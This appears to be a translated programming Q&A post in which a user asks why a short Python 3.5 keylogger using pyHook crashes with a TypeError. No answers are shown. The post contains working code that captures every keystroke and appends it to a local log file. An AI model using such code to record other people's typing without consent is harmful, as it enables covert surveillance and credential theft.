Python(3.5.2) - 键盘记录错误

时间:2017-05-22 18:27:28

标签: python typeerror keylogger

我一直在尝试编写Python键盘记录程序(用于教育目的)。这是代码:

import pythoncom, pyHook

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    with open("log.txt", "a") as f:
        f.write(keylog)

    return True

hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

我运行了脚本,当我输入内容时,它只是崩溃并出现以下错误消息:

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

我无法弄清问题是什么。我已经搜索过(几乎)reddit,stackoverflow等上的每一个线程。但我注意到的一件事是,Python 2.7的用户似乎能够运行类似的脚本。另一个帖子说pyHook中有一个bug,需要重建。

目前我对自己应该做的事情感到茫然。我的代码中有什么问题我应该修复吗?有什么想法吗?

感谢。

0 个答案:

没有答案